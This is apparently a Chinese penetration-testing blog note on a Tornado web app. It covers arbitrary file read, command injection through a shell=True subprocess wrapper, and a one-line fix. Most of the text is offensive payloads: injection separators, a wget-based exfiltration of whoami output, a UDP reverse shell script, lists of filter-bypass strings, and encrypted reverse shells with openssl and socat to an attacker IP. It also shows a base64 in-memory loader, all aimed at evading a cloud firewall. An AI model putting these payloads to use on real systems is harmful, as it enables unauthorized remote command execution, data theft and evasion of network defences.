记一次测试Tornado
常见越权测试完了之后,有一个上传文件的地方,上传的文件名存在反射xss,主要记录下任意文件读取和远程命令执行。
任意文件读取
刚开始测试任意文件读取的时候,找不到要读取的文件,问了开发目录结构才读出来,好蠢。实际可以通过
/proc/self/cmdline
查看当前程序的运行参数,可以获取到源代码文件名。一般python开发的时候,根目录可能存在文件:
README.md
,requirements.txt
,app.py
,.git/config
之类的文件
远程命令执行
读取到源代码之后,中间有不一部分的代码是这样的,接收请求传过来的参数,然后列目录:
res = exec_cmd4("ls -l %s|awk '{print $5}'" % abs_file_name)
exec_cmd4是开发自己写的函数,通过任意文件读取可以找到函数定义:
def exec_cmd4(cmd, no_print=False):
if not no_print:
logger.debug(cmd)
p = subprocess.Popen(cmd, executable=\"/bin/bash\", shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
return p.communicate();
这里存在命令注入漏洞,链接: https://strcpy.me/index.php/archives/787/
抄一下demo代码:
import os
import subprocess
host = "baidu.com"
subprocess.call("ping -c 1 %s" % host, shell=True)
os.system("ping -c 1 %s" % host)
如果host="baidu.com;ls"
就可以执行ls了。
PS: 这里和bash直接执行命令没什么区别,比如:
host = "baidu.com ls"
host = "baidu.com|ls"
host = "baidu.com||ls"
host = "baidu.com&&ls"
使用wget xxxx/whoami|base64
,查看http请求日志。
修复方式
subprocess.call(["ping", "-c", "1", host])
TCP反弹被防火墙拦截,使用udp反弹到53端口可以成功执行命令,但是不稳定,还是被防火墙探测到了:
#nc -u -lvp 53
#!/bin/bash
exec 3>/dev/udp/127.0.0.1/8080
exec 2>&3
exec 1>&3
echo Welcom back
cat 0<&3 | bash | while read line;do echo $line;done
###命令执行绕过测试
aa|wget xyz:8000
aa`wget${IFS}xyz`.sql
aa`wget$IFS$9xyz`.sql
aa`{wget,xyz}`.sql
<>
${IFS}
${IFS}$9
a=c;b=at;$a$b $c
`echo "Y2F0IGZsYWc="|base64 -d`
c''at flag
c""at flag
c\at fl\ag
换行绕过,比如使用\n \t \b
在URL里面需要编码: %0a,%0b,%0c
ToDo:
直接的反弹shell可以被阿里防火墙抓到流量并拦截,上面tcp没反弹出来就是这个原因,UDP的反弹完执行了两下貌似也GG。所以需要一个简单方便的加密shell,加密反弹的shell流量。
加密的webshell在洗澡的时候想了下,必须要有如下特征:
- 尽可能减少对系统的依赖性,如果python需要安装额外的库,pass
- 减少文件,最好独立一个文件或者没有
查了下资料有一个现成的,测试可用:
加密后门
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Listener: openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>
Shell: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s
其次成品:
https://github.com/JusticeRage/freedomfighting#ershpy
生成服务端的配置之后,在客户端直接执行即可,受害主机可以直接内存加载执行,感觉之前下载文件之后执行好蠢:
接收端:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
受害者:
gzip -c ersh.py | base64
echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python
不推荐socat
因为很多时候目标机器没有socat:
openssl req -x509 -sha256 -newkey rsa:4096 -keyout server.pem -out server.pem -days 10000 -nodes
socat openssl-connect:$ip:$1,verify=0 exec:bash,pty,stderr,setsid
socat `tty`,raw,echo=0 openssl-listen:$1,reuseaddr,cert=server.pem,verify=0